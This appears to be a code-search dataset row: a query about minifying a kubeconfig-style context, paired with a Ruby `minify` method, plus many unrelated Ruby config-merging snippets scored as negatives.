"def merge!(hash)\n hash.each do |key, value|\n if config_contexts.key?(key)\n # Grab the config context and let internal_get cache it if so desired\n config_contexts[key].restore(value)\n else\n configuration[key] = value\n end\n end\n self\n end",
"def merge(other)\n result = Env.new\n result.env = @env.merge(other.env)\n return result\n end",
"def merge_with other\n m_next = @metadata.merge_with other.metadata\n files_res = {}\n\n # my files\n @files.each { |f| files_res[f.src] = f }\n\n # overrides\n other.files.each { |f| files_res[f.src] = f }\n\n # result\n f_next = files_res.collect { |k, v| v }\n\n Package.new m_next, f_next\n end",
"def merge(config_hash)\n config_hash.each_pair { |option, value| set_option(option, value) }\n self\n end",
"def merge(other)\n self.class.new.tap do |result|\n result.merge!(self)\n result.merge!(other)\n end\n end",
"def config_merge_with_parent(filters=nil)\n remote = if (self != Rfm::Config) \n \teval(@config[:parent] || 'Rfm::Config').config_merge_with_parent rescue {}\n else\n \tget_config_file.merge((defined?(RFM_CONFIG) and RFM_CONFIG.is_a?(Hash)) ? RFM_CONFIG : {})\n end.clone\n \n remote[:using] ||= []\n remote[:parents] ||= ['file', 'RFM_CONFIG']\n\n\t\t\tfilters = (@config[:use].rfm_force_array | filters.rfm_force_array).compact\n\t\t\trslt = config_filter(remote, filters).merge(config_filter(@config, filters))\n\t\t\t\n\t\t\trslt[:using].concat((@config[:use].rfm_force_array | filters).compact.flatten) #.join\n\t\t\trslt[:parents] << @config[:parent].to_s\n\t\t\t\n\t\t\trslt.delete :parent\n\t\t\t\n\t\t\trslt\n end",
"def merge(other); end",
"def load_network_conf\n current_cfg = networks_base\n\n new_cfg = load_network_yml\n\n attributes_cfg = node['vnet_part']['networks'].to_hash if node['vnet_part']['networks']\n new_cfg = ::Chef::Mixin::DeepMerge.deep_merge(attributes_cfg, new_cfg) if attributes_cfg\n\n ::Chef::Mixin::DeepMerge.deep_merge(new_cfg, current_cfg)\nend",
"def initialize\n @config = DEFAULT_CONFIG.deep_dup\n end",
"def merge(other)\n assert_archive other\n\n data = deep_clone(@data)\n merge_data data, other.as_json, other.uri\n\n self.class.new data\n end",
"def merge(options)\n unless options\n return CallSettings.new(timeout: @timeout,\n retry_options: @retry_options,\n page_descriptor: @page_descriptor,\n page_token: @page_token,\n bundler: @bundler,\n bundle_descriptor: @bundle_descriptor,\n metadata: @metadata,\n errors: @errors)\n end\n\n timeout = if options.timeout == :OPTION_INHERIT\n @timeout\n else\n options.timeout\n end\n retry_options = if options.retry_options == :OPTION_INHERIT\n @retry_options\n else\n options.retry_options\n end\n page_token = if options.page_token == :OPTION_INHERIT\n @page_token\n else\n options.page_token\n end\n\n metadata = @metadata || {}\n metadata = metadata.dup\n metadata.update(options.metadata) if options.metadata != :OPTION_INHERIT\n\n CallSettings.new(timeout: timeout,\n retry_options: retry_options,\n page_descriptor: @page_descriptor,\n page_token: page_token,\n bundler: @bundler,\n bundle_descriptor: @bundle_descriptor,\n metadata: metadata,\n errors: @errors)\n end",
"def merge_with_default(config, config_file, unset_nil: true)\n resolver.merge_with_default(config, config_file, unset_nil: unset_nil)\n end",
"def initialize_config(overrides={})\n @config = ConfigHash.new(self, overrides, false)\n \n # cache as configs (equivalent to self.class.configurations)\n # as an optimization\n configs = @config.configs\n \n # hash overrides by delegate so they may be set\n # in the correct order below\n initial_values = {}\n overrides.each_key do |key|\n if config = configs[key]\n \n # check that the config may be initialized\n unless config.init?\n key = configs.keys.find {|k| configs[k] == config }\n raise \"initialization values are not allowed for: #{key.inspect}\"\n end\n \n # check that multiple overrides are not specified for a\n # single config, as may happen with indifferent access\n # (ex 'key' and :key)\n if initial_values.has_key?(config)\n key = configs.keys.find {|k| configs[k] == config }\n raise \"multiple values map to config: #{key.inspect}\"\n end\n \n # since overrides are used as the ConfigHash store,\n # the overriding values must be removed, not read\n initial_values[config] = overrides.delete(key)\n end\n end\n \n # now initialize configs in order\n configs.each_pair do |key, config|\n next unless config.init?\n\n if initial_values.has_key?(config)\n config.set(self, initial_values[config])\n else\n config.init(self)\n end\n end\n end",
"def add_subconfig(config_name)\n define_config_methods(config_name)\n self.send(\"#{config_name}=\", RubyConfig.new)\n end",
"def merge(other)\n schema_dsl.merge(other.schema_dsl).()\n end",
"def merge_with_default(config, config_file, unset_nil:); end",
"def dup\n super.tap do |copy|\n copy.instance_variable_set(:@config, @config.dup)\n end\n end",
"def merge(other)\n BaseFacet.new\n end",
"def merge(other)\n other = other.criteria\n\n fresh.tap do |criteria|\n [\n :profile_value, :failsafe_value, :terminate_after_value, :timeout_value, :offset_value,\n :limit_value, :scroll_args, :source_value, :preference_value, :search_type_value,\n :routing_value, :track_total_hits_value, :explain_value, :http_timeout_value\n ].each do |name|\n criteria.send(:\"#{name}=\", other.send(name)) unless other.send(name).nil?\n end\n\n [\n :sort_values, :includes_values, :preload_values, :eager_load_values, :must_values,\n :must_not_values, :filter_values, :post_must_values, :post_must_not_values,\n :post_filter_values\n ].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || []) + other.send(name)) if other.send(name)\n end\n\n [:highlight_values, :suggest_values, :custom_value, :aggregation_values].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || {}).merge(other.send(name))) if other.send(name)\n end\n end\n end",
"def merge\n a_hash = without_empty_values @a.to_h\n b_hash = without_empty_values @b.to_h\n\n @a.class.new a_hash.merge b_hash\n end",
"def merge(other_hash)\n new_instance_with_inherited_permitted_status(\n @parameters.merge(other_hash.to_h)\n )\n end",
"def merge(other)\n # By default just take the other change if applicable\n other.instance_of?(self.class) && other.key == key ? other : self\n end",
"def merged_config_for_generator\n return {}\n end",
"def initialize_copy(orig)\n super\n @config = ConfigHash.new(self, orig.config.store.dup, false)\n end",
"def merge(other)\n ProcessorSteps.new(\n before_steps: merge_callbacks(before_steps, other.before_steps),\n after_steps: merge_callbacks(after_steps, other.after_steps)\n )\n end",
"def merge(other)\n ProcessorSteps.new(\n before_steps: merge_callbacks(before_steps, other.before_steps),\n after_steps: merge_callbacks(after_steps, other.after_steps)\n )\n end",
"def merge!(other)\n\t\tALL.each do |key|\n\t\t\tincrement(key, other.get(key))\n\t\tend\n\t\tself\n\tend",
"def two_layer_merge(downstream_hash, upstream_hash)\n up = upstream_hash.dup\n dn = downstream_hash.dup\n up.each_pair do |setting_name, value|\n if value.kind_of?(Hash) && downstream_hash.has_key?(setting_name)\n dn[setting_name] = value.merge(downstream_hash[setting_name])\n up.delete(setting_name)\n end\n end\n return up.merge(dn)\n end",
"def merge(*data)\n merged = data.compact.inject(@input) do |acc, layer|\n assert_hash_or_config(layer)\n layer_data = layer.is_a?(self.class) ? layer.input : layer\n Bolt::Util.deep_merge(acc, layer_data)\n end\n\n self.class.new(merged, @project)\n end",
"def merge_conf_file!(result, conf_file_path)\n # parse conf file\n conf = Fwissr.parse_conf_file(conf_file_path)\n if conf\n conf_file_name = ::File.basename(conf_file_path, ::File.extname(conf_file_path))\n\n result_part = result\n\n unless TOP_LEVEL_CONF_FILES.include?(conf_file_name) || @options['top_level']\n # merge conf at the correct place in registry\n #\n # eg: my_app.json => /my_app\n # my_app.database.yml => /my_app/database\n # my_app.database.slave.yml => /my_app/database/slave\n key_ary = conf_file_name.split('.')\n key_ary.each do |key_part|\n result_part = (result_part[key_part] ||= { })\n end\n end\n\n Fwissr.merge_conf!(result_part, conf)\n else\n raise \"Failed to parse conf file: #{conf_file_path}\"\n end\n end",
"def initialize(options = {})\n @options = options\n merge_configs\n merge_message\n validate_options\n end",
"def config\n independent_config.deep_merge(strong_parent_config).deep_merge(strong_session_config)\n end",
"def load_network_yml\n new_cfg = YAML.load_file(File.join(pattern_path('vnet_pattern'), 'config', 'network.yml'))\n\n yml_file = File.join(platform_pattern_path, 'config', 'network.yml')\n new_cfg = ::Chef::Mixin::DeepMerge.deep_merge(YAML.load_file(yml_file), new_cfg) if File.exist?(yml_file)\n\n optional_pattern_names.each do |name|\n yml_file = File.join(pattern_path(name), 'config', 'network.yml')\n new_cfg = ::Chef::Mixin::DeepMerge.deep_merge(YAML.load_file(yml_file), new_cfg) if File.exist?(yml_file)\n end\n\n new_cfg.with_indifferent_access\nend",
"def resolve_config(**attrs)\n config = config_defaults.merge(attrs.transform_keys(&:to_s))\n file_path = File.join(config['root'], config['config_path'])\n file_config = config_from_file(file_path, mode: config['mode'])\n new DEFAULT_CONFIG.merge(file_config).merge(config_from_env).merge(config)\n end",
"def finalize_config!(instance)\n super.tap do\n # Force the use of the Kubernetes transport since it isn't much use\n # without that.\n instance.transport = Kitchen::Transport::Kubernetes.new(config)\n # Leave room for the possibility of other provisioners in the future,\n # but force some options we need.\n if instance.provisioner.is_a?(Kitchen::Provisioner::ChefBase)\n instance.provisioner.send(:config).update(\n require_chef_omnibus: false,\n product_name: nil,\n chef_omnibus_root: '/opt/chef',\n sudo: false,\n )\n end\n # Ditto to the above, other verifiers will need their own hacks, but\n # this is a start at least.\n if instance.verifier.is_a?(Kitchen::Verifier::Busser)\n instance.verifier.send(:config).update(\n root_path: '/tmp/kitchen/verifier',\n sudo: false,\n )\n elsif defined?(Kitchen::Verifier::Inspec) && instance.verifier.is_a?(Kitchen::Verifier::Inspec)\n # Monkeypatch kitchen-inspec to use my copy of the kubernetes train transport.\n # Pending https://github.com/chef/train/pull/205 and https://github.com/chef/kitchen-inspec/pull/148\n # or https://github.com/chef/kitchen-inspec/pull/149.\n require 'kitchen/verifier/train_kubernetes_hack'\n _config = config # Because closure madness.\n old_runner_options = instance.verifier.method(:runner_options)\n instance.verifier.send(:define_singleton_method, :runner_options) do |transport, state = {}, platform = nil, suite = nil|\n if transport.is_a?(Kitchen::Transport::Kubernetes)\n # Initiate 1337 ha><0rz.\n {\n \"backend\" => \"kubernetes_hack\",\n \"logger\" => logger,\n \"pod\" => state[:pod_id],\n \"container\" => \"default\",\n \"kubectl_path\" => _config[:kubectl_path],\n \"context\" => _config[:context],\n }.tap do |runner_options|\n # Copied directly from kitchen-inspec because there is no way not to. Sigh.\n runner_options[\"color\"] = (config[:color].nil? ? true : config[:color])\n runner_options[\"format\"] = config[:format] unless config[:format].nil?\n runner_options[\"output\"] = config[:output] % { platform: platform, suite: suite } unless config[:output].nil?\n runner_options[\"profiles_path\"] = config[:profiles_path] unless config[:profiles_path].nil?\n runner_options[:controls] = config[:controls]\n end\n else\n old_runner_options.call(transport, state, platform, suite)\n end\n end\n end\n end\n end",
"def deep_merge other_in, options_in = {}\n return self if other_in.nil? or other_in.blank?\n\n options = { mode: :append }.merge(options_in)\n\n other =\n if other_in.is_a?(OpenStruct)\n other_in.dup\n elsif other_in.is_a?(Hash)\n other_in.to_os\n else\n OpenStruct.new(nil => other_in)\n end\n\n self.reduce(other) do |res, key, value|\n res[key] =\n if res.table.keys.include?(key)\n case value\n when Hash, OpenStruct\n value.deep_merge(res[key], options)\n when Array\n value.concat([res[key]].compact.flatten(1))\n when NilClass\n res[key]\n else\n value_out =\n if options[:mode] == :append\n [res[key], value].compact.flatten(1)\n elsif options[:mode] == :prepend\n [value, res[key]].compact.flatten(1)\n else\n value\n end\n\n if value_out.is_a?(Array) && options[:dedup]\n value_out.uniq\n else\n value_out\n end\n end\n else\n value\n end\n\n res\n end\n end",
"def initialize\n super\n Souffle::Config.merge!(config)\n end",
"def merge(opts); end",
"def reconfigure(overrides={})\n config.merge!(overrides)\n self\n end",
"def duplicate\n Configuration.new.tap do |c|\n c.namespace = namespace\n c.root = root.dup\n c.modules = modules.dup\n c.delivery_method = delivery_method\n c.default_charset = default_charset\n end\n end",
"def merge other_entry\n options = {\n :extracted_comment => merge_string(@extracted_comment,\n other_entry.extracted_comment),\n :translator_comment => merge_string(@translator_comment,\n other_entry.translator_comment),\n :references => merge_array(@references,\n other_entry.references),\n :flags => merge_array(@flags,\n other_entry.flags),\n }\n self.class.new(@msgid, options)\n end",
"def merge(other)\n unless identifier == other.identifier\n raise ArgumentError,\n \"#{self} and #{other} have different identifiers\"\n end\n\n default = FoobarMod::Requirement.default\n self_req = self.requirement\n other_req = other.requirement\n\n return self.class.new identifier, self_req if other_req == default\n return self.class.new identifier, other_req if self_req == default\n\n self.class.new identifier, self_req.as_list.concat(other_req.as_list)\n end",
"def merge!(other); end",
"def initial_config\n default_config.deep_merge(@passed_config)\n end",
"def combine_allowed(other)\n RuleMigration.new(\n @ports,\n @protocol,\n @icmp_type,\n @icmp_code,\n @security_groups + other.security_groups,\n @subnets + other.subnets\n )\n end",
"def merge!(other)\n if other.lower_bound > @lower_bound\n @lower_bound = other.lower_bound\n @include[:lower_bound] = other.include_lower_bound?\n end\n if other.upper_bound\n if @upper_bound.nil? || other.upper_bound < @upper_bound\n @upper_bound = other.upper_bound\n @include[:upper_bound] = other.include_upper_bound?\n end\n end\n self\n end",
"def populate_defaults(config)\n new_config = DEFAULT_CEEDLING_CONFIG.deep_clone\n new_config.deep_merge!(config)\n config.replace(new_config)\n\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST )\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST_PREPROCESSORS ) if (config[:project][:use_test_preprocessor])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST_DEPENDENCIES ) if (config[:project][:use_deep_dependencies])\n\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE ) if (config[:project][:release_build])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE_ASSEMBLER ) if (config[:project][:release_build] and config[:release_build][:use_assembly])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE_DEPENDENCIES ) if (config[:project][:release_build] and config[:project][:use_deep_dependencies])\n end",
"def private_chef(*args)\n ChefBackup::Mixin::DeepMerge.deep_merge!(*args, ChefBackup::Config[\"private_chef\"])\nend",
"def combine(registry)\n @rules = rules.merge(registry.rules)\n end",
"def smash_configs\n # private overrides public general config\n a = remove_environments(@general_config_pub)\n b = remove_environments(@general_config_priv)\n general = a.merge(b)\n\n # private overrides public collection config\n c = remove_environments(@collection_config_pub)\n d = remove_environments(@collection_config_priv)\n collection = c.merge(d)\n\n # collection overrides general config\n return general.merge(collection)\n end",
"def merge_conf_directives(config_file, cfg)\n Chef::Log.info \"YAML config file: #{config_file}, conf directive entries: #{cfg}\"\n # Always backup\n bak_file = config_file.sub('.yaml', '_template.yaml')\n File.rename(config_file, bak_file)\n yaml = YAML::load_file(bak_file)\n puts cfg\n\n cfg.each_key { |key|\n if key == \"data_file_directories\"\n val = parse_json(cfg[key]).split(\",\")\n elsif key == \"seed_provider\"\n val = cfg[key]\n else\n val = parse_json(cfg[key])\n end\n yaml[key] = val\n }\n Chef::Log.info \"Merged cassandra YAML config: #{yaml.to_yaml}\"\n\n File.open(config_file, 'w') { |f|\n f.write <<-EOF\n# Cassandra storage config YAML\n#\n# NOTE:\n# See http://wiki.apache.org/cassandra/StorageConfiguration\n# or #{bak_file} file for full\n# explanations of configuration directives\n# /NOTE\n#\n# Auto generated by Cassandra cookbook\n EOF\n f.write yaml.to_yaml\n Chef::Log.info \"Saved YAML config to #{config_file}\"\n }\n end",
"def dup\n ConfigurationManager.new.tap { |c| c.load_settings(all_settings) }\n end",
"def merge!(other)\n raise NotImplementedError.new(\"Method 'merge!' not implemented by '#{self.class.name}'\")\n end"
] | [
"0.6483275",
"0.6345115",
"0.6187782",
"0.6146476",
"0.5767894",
"0.5740349",
"0.57027817",
"0.5675311",
"0.56635016",
"0.55806017",
"0.5550245",
"0.553743",
"0.5516324",
"0.5479064",
"0.54712796",
"0.5454585",
"0.5453035",
"0.5413143",
"0.5410168",
"0.5353593",
"0.53465253",
"0.5339974",
"0.5316333",
"0.5274196",
"0.52690655",
"0.52603537",
"0.52479297",
"0.52076656",
"0.51693475",
"0.51653296",
"0.51604223",
"0.5159941",
"0.5152898",
"0.5106008",
"0.50787425",
"0.5061136",
"0.5049762",
"0.504817",
"0.5043434",
"0.5036328",
"0.50141406",
"0.5010519",
"0.50047696",
"0.50041616",
"0.50000834",
"0.49709633",
"0.4959331",
"0.49556753",
"0.49503917",
"0.49394175",
"0.4935733",
"0.49154383",
"0.49102634",
"0.49087256",
"0.49069923",
"0.49019596",
"0.49006104",
"0.4892734",
"0.48655203",
"0.48309162",
"0.48282483",
"0.4819808",
"0.48082328",
"0.48059747",
"0.47924975",
"0.47877848",
"0.47805983",
"0.47758913",
"0.47652075",
"0.4746328",
"0.4743165",
"0.47366032",
"0.47318906",
"0.47318906",
"0.4726097",
"0.47041315",
"0.4701867",
"0.46974063",
"0.46925113",
"0.4687107",
"0.4685651",
"0.4682274",
"0.46782678",
"0.4673947",
"0.46674117",
"0.46553802",
"0.46517885",
"0.464676",
"0.46390522",
"0.4638687",
"0.46314168",
"0.4629876",
"0.46246454",
"0.46175474",
"0.45907676",
"0.45892555",
"0.4584161",
"0.45755598",
"0.45727128",
"0.45701733",
"0.4569454"
] | 0.0 | -1 |
Create a new instance that contains only the active current context, like `kubectl config minify` | def minify
dup.minify!
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ReservationContext.new(@version , @params['workspace_sid'], @params['worker_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n @_context ||= {\n :argv => START_CTX[:argv].map { |arg| arg.dup },\n :cwd => START_CTX[:cwd].dup,\n 0 => START_CTX[0].dup,\n }.tap do |ctx|\n rewrite_context(ctx)\n end\n end",
"def context\n unless @instance_context\n @instance_context = TaskContext.new(@version, @params['workspace_sid'], @params['sid'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CpsContext.new(@version, )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = TaskContext.new(@version , @params['workspace_sid'], @params['sid'])\n end\n @instance_context\n end",
"def contextify\n self.class.monadic_context.new self\n end",
"def new(context)\n dup.tap do |logger|\n logger.context = \"#{logger.context}#{context_separator}#{context}\"\n end\n end",
"def execution_context\n initialize_context!(Object.new)\n end",
"def context\n unless @instance_context\n @instance_context = WorkspaceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def create_execution_context()\n app_ctx = self.application_context\n app_ctx ||= VAPI::Core.create_default_application_context()\n sec_ctx = self.security_context\n sec_ctx ||= VAPI::Core::SecurityContext.new\n return VAPI::Core::ExecutionContext.new(app_ctx, sec_ctx)\n end",
"def context\n unless @instance_context\n @instance_context = AppManifestContext.new(@version , @params['app_sid'])\n end\n @instance_context\n end",
"def initialize\n self.context = Context.new\n end",
"def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version , @params['chat_service_sid'])\n end\n @instance_context\n end",
"def compact\n new_instance_with_inherited_permitted_status(@parameters.compact)\n end",
"def context\n unless @instance_context\n @instance_context = CompositionContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ApplicationContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"def produce_instance\n @instance ||= super\n end",
"def context\n unless @instance_context\n @instance_context = SettingsContext.new(@version, )\n end\n @instance_context\n end",
"def testContextCreation\n _context = Context.new #Fresh instance \n assert_instance_of(Context, _context, \"Fresh instances should be Contexts indeed\" )\n assert_instance_of(FalseClass || TrueClass, _context.isActive, \"The context should be either active (true) or inactive (false)\")\n assert(!_context.isActive, \"A fresh context should be initially inactive\")\n end",
"def new_client\n Svn::Client::Context.new\n end",
"def context\n unless @instance_context\n @instance_context = DomainConfigContext.new(@version, @params['domain_sid'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def create_instance_for_env(instance)\n whitelist = [:instance_id, :instance_index, :name, :uris, :users, :version, :start, :runtime, :state_timestamp, :port]\n env_hash = {}\n whitelist.each {|k| env_hash[k] = instance[k] if instance[k]}\n env_hash[:limits] = {\n :fds => instance[:fds_quota],\n :mem => instance[:mem_quota],\n :disk => instance[:disk_quota],\n }\n env_hash[:host] = @local_ip\n env_hash.to_json\n end",
"def initialize(context={})\n self.context = context\n self.target = context[:target]\n self.output = context[:output]\n self.eval_string = context[:eval_string]\n self.command_set = context[:command_set]\n self._pry_ = context[:pry_instance]\n end",
"def scaffold_new_object(attributes, options)\n object = new\n scaffold_set_attributes(object, scaffold_filter_attributes(:new, attributes || {}))\n object.send(\"#{scaffold_session_value}=\", options[:session][scaffold_session_value]) if scaffold_session_value\n object\n end",
"def context\n unless @instance_context\n @instance_context = AnonymizeContext.new(@version , @params['room_sid'], @params['sid'])\n end\n @instance_context\n end",
"def initialize_isolation(klass, context)\n pxy = klass.new\n pxy.instance_variable_set(\"@___context___\", context)\n pxy\n end",
"def new_instance\n if Agent.config[:framework] == :test\n load_test_framework\n else\n load_framework_class(Agent.config[:framework]).new(local_env)\n end\n end",
"def initialize(ptr, retain = true)\n super(ptr)\n OpenCL.clRetainContext(ptr) if retain\n #STDERR.puts \"Allocating Context: #{ptr}\"\n end",
"def create(context, name, klass, *args)\n child = component(klass).new(*args)\n c_name = klass.component || klass.name.split('::').last.underscore.to_sym\n\n child.context = context.clone\n child.context[c_name] = child\n child.context.file_path << name.to_s if name\n child.setup\n child\n end",
"def main_context\n @main_context ||= Context.new\n end",
"def initialize(ctx)\r\n @verbose = false\r\n @context = ctx\r\n end",
"def context\n unless @instance_context\n @instance_context = CompositionHookContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = SandboxContext.new(\n @version,\n @params['account_sid'],\n )\n end\n @instance_context\n end",
"def mainContext\n # return Context.find( context )\n return context\n end",
"def context\n @context ||= Context.new(self)\n end",
"def context\n {}\n end",
"def context\n {}\n end",
"def really_new\n return self.new\n end",
"def management\n prepareBaseContext\n end",
"def instantiate(params)\n instance = Instance.new( *interpolate(params), @parent )\n # instance.apply_resource_type # TODO: do we need apply_security_scheme?\n instance\n end",
"def context\n Context.instance\n end",
"def new_context( name, parent_context = nil )\n @last_unique_id += 1\n @context_list[ @last_unique_id ] = V3::ContextDAO.new( @last_unique_id, name.to_s, parent_context )\n end",
"def context\n Thread.current[NAME] ||= Hash.new\n end",
"def get_or_create_context\n if !block_given?\n return ::Vertx::Util::Utils.safe_create(@j_del.java_method(:getOrCreateContext, []).call(),::Vertx::Context)\n end\n raise ArgumentError, \"Invalid arguments when calling get_or_create_context()\"\n end",
"def create_aws_instance(config, name, instance_type=\"m3.medium\")\n config.ssh.pty = true\n config.vm.define name do |server|\n server.vm.box = AWS_BOX\n server.vm.provider :aws do |aws, override|\n aws.instance_type = instance_type\n aws.region = AWS_REGION\n aws.ami = AWS_AMI\n aws.keypair_name = AWS_PRIVATE_KEY\n override.ssh.username = AWS_SSH_USERNAME\n override.ssh.private_key_path = AWS_PRIVATE_KEY_PATH\n yield(aws,override,server)\n end\n end\nend",
"def new(options = {})\n session = with(options)\n session.instance_variable_set(:@cluster, cluster.dup)\n\n if block_given?\n yield session\n else\n session\n end\n end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def context\n unless @instance_context\n @instance_context = DomainContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"def create(opts)\n opts = check_params(opts,[:woc_instance,:local_ips,:enabled,:serverssl])\n super(opts)\n end",
"def recreate_in( new_context, changes = nil )\n clone.acquire_for(new_context)\n end",
"def for_references\n self.class.new(shared_context: shared_context)\n end",
"def initialize(new_resource, run_context)\n super(new_resource, run_context)\n\n if new_resource.path && new_resource.path != ''\n @path = new_resource.path\n else\n @path = \"/home/#{new_resource.owner}/newrelic_elastic_#{new_resource.application_name}\"\n end\nend",
"def compile\n @instance ||= new\n end",
"def instance\n @instance ||= new\n @instance.startup!\n end",
"def initialize\n @current = LIFECYCLE.first\n end",
"def new(options=nil)\n Tidyobj.new(options)\n end",
"def new(env = {})\n self.class.new controller, env, defaults\n end",
"def new\n @chef = Chef.new\n end",
"def new_instance(*contexts, **locals)\n Renderer.new(*(contexts | @contexts), **locals)\n end",
"def context\n unless @instance_context\n @instance_context = CurrentCallContext.new(@version, )\n end\n @instance_context\n end",
"def create_instance(credentials, image_id, opts)\n new_vapp = nil\n vapp_opts = {} #assemble options to pass to Fog::Terremark::Real.instantiate_vapp_template\n terremark_hwp = hardware_profiles(credentials, {:name => 'default'}).first #sanity check values against default\n name = opts[:name]\n if not name\n name = \"inst#{Time.now.to_i}\"\n end\n if name.length > USER_NAME_MAX\n raise \"Parameter name must be #{USER_NAME_MAX} characters or less\"\n end\n unless ( (terremark_hwp.include?(:cpu, opts[:hwp_cpu].to_i)) &&\n (terremark_hwp.include?(:memory, opts[:hwp_memory].to_i)) ) then\n raise Deltacloud::Exceptions::ValidationFailure.new(\n StandardError.new(\"Error with cpu and/or memory values. you said cpu->#{opts[:hwp_cpu]} and mem->#{opts[:hwp_memory]}\")\n )\n end\n vapp_opts['cpus'] = opts[:hwp_cpu]\n vapp_opts['memory'] = opts[:hwp_memory]\n safely do\n terremark_client = new_client(credentials)\n#######\n#FIXME# what happens if there is an issue getting the new vapp id? (eg even though created succesfully)\n#######\n vapp_id = terremark_client.instantiate_vapp_template(name, image_id, vapp_opts).body['href'].split('/').last\n new_vapp = terremark_client.get_vapp(vapp_id)\n return convert_instance(new_vapp, terremark_client, credentials.user) #return an Instance object\n end\n end",
"def create_instance(opts)\n opts = check_params(opts,[:class_instance_keys])\n super(opts)\n end",
"def initialize(argv=[], openstack_server_create=OpenstackServerCreate.new)\n super(argv) # Thanks, mixlib-cli\n\n # This loads the config\n configure_chef\n\n @profiles = YAMLProfiles.new(config[:yaml_config])\n @openstack_server_create = openstack_server_create\n end",
"def context\n unless @instance_context\n @instance_context = InteractionContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def new_deployment(attrs)\n Deployment.from_hash(api, attrs.merge(:app_environment => self))\n end",
"def new(env = T.unsafe(nil)); end",
"def new\n @environment = Environment.new\n @lists = List.active\n end",
"def context\n @context ||= Context.new(self)\n end",
"def context\n unless @instance_context\n @instance_context = WorkflowStatisticsContext.new(\n @version,\n @params['workspace_sid'],\n @params['workflow_sid'],\n )\n end\n @instance_context\n end",
"def initialize(opts = {})\r\n @context = opts[:context] || 3\r\n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def simple_context\n context_director.simple_context\n end",
"def context\n init\n @context\n end",
"def context(name = nil, &block)\n name ||= Helpers.generate_uuid\n # context \"created with defaults\" ... 'ContextCreatedWithDefaults'\n class_name = Helpers.to_const_name(name.to_s, PREFIX, SUFFIX)\n if const_defined?(class_name)\n klass = const_get(class_name)\n if ( klass.superclass == self rescue nil )\n warn \"duplicate context definition with the name #{name.inspect} \" +\n \"found at #{caller.first} it is going to be merged with \" +\n \"the previous context definition\"\n else\n raise \"could not create a context with the name #{name.inspect} \" +\n \"as a constant #{class_name} is already defined and is not \" +\n \"another context definition\"\n end\n else\n klass = Class.new(self)\n klass.extend Test::Unit::Context\n klass.context_name = name\n # NOTE: make sure by default we run \"inherited\" setup/teardown hooks\n # unless context code does re-define the hook method e.g. `def setup`\n # instead of using the `setup do` or the setup method marker syntax :\n klass.class_eval do\n def setup; super; end\n def cleanup; super; end\n def teardown; super; end\n end\n const_set(class_name, klass)\n end\n context_definitions << klass\n klass.class_eval(&block)\n klass\n end",
"def new_context(env)\n\n makara_context, makara_status = makara_values(env)\n\n context = nil\n\n # if the previous request was a redirect, let's keep that context\n if makara_status.to_s =~ /^3/ # 300+ redirect\n context = makara_context\n end\n\n context ||= Makara::Context.get_current if env['rack.test']\n context ||= Makara::Context.generate(env[\"action_dispatch.request_id\"])\n context\n end",
"def initialize(context)\n super()\n self.context = context\n end",
"def context\n @context ||= {}\n end",
"def context\n @context ||= {}\n end",
"def context\n unless @instance_context\n @instance_context = SimContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def new_base_tenv(klass=nil)\n BaseTypeEnv.new(klass.nil? ? context : klass)\n end",
"def context\n unless @instance_context\n @instance_context = UserInfoContext.new(@version )\n end\n @instance_context\n end",
"def create\n # USELESS\n end",
"def create\n # USELESS\n end",
"def context\n unless @instance_context\n @instance_context = EngagementContextContext.new(@version , @params['flow_sid'], @params['engagement_sid'])\n end\n @instance_context\n end",
"def sparkCreate(className, path)\n delete(path)\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend",
"def new()\n trace(\"Instance #{index} created\")\n index += 1\n end"
] | [
"0.5789249",
"0.5754475",
"0.575254",
"0.57185733",
"0.5715356",
"0.5677113",
"0.5656849",
"0.56446433",
"0.5644488",
"0.5598752",
"0.5587757",
"0.55690724",
"0.5560584",
"0.55526775",
"0.5522156",
"0.55098957",
"0.5507092",
"0.5495272",
"0.5483518",
"0.5453227",
"0.54494226",
"0.54381114",
"0.54330254",
"0.54330254",
"0.5427096",
"0.53898674",
"0.5375476",
"0.536029",
"0.53599614",
"0.53598344",
"0.5354587",
"0.5328981",
"0.5327555",
"0.5324843",
"0.5310851",
"0.5309774",
"0.5303418",
"0.5302087",
"0.52863824",
"0.52863824",
"0.5285554",
"0.5272852",
"0.52581066",
"0.5256687",
"0.5250418",
"0.5242254",
"0.52392596",
"0.5213343",
"0.52094036",
"0.52050614",
"0.52050614",
"0.52050614",
"0.52050614",
"0.52050614",
"0.52050614",
"0.52050614",
"0.52050614",
"0.52050614",
"0.520214",
"0.5196537",
"0.51955134",
"0.5193056",
"0.518515",
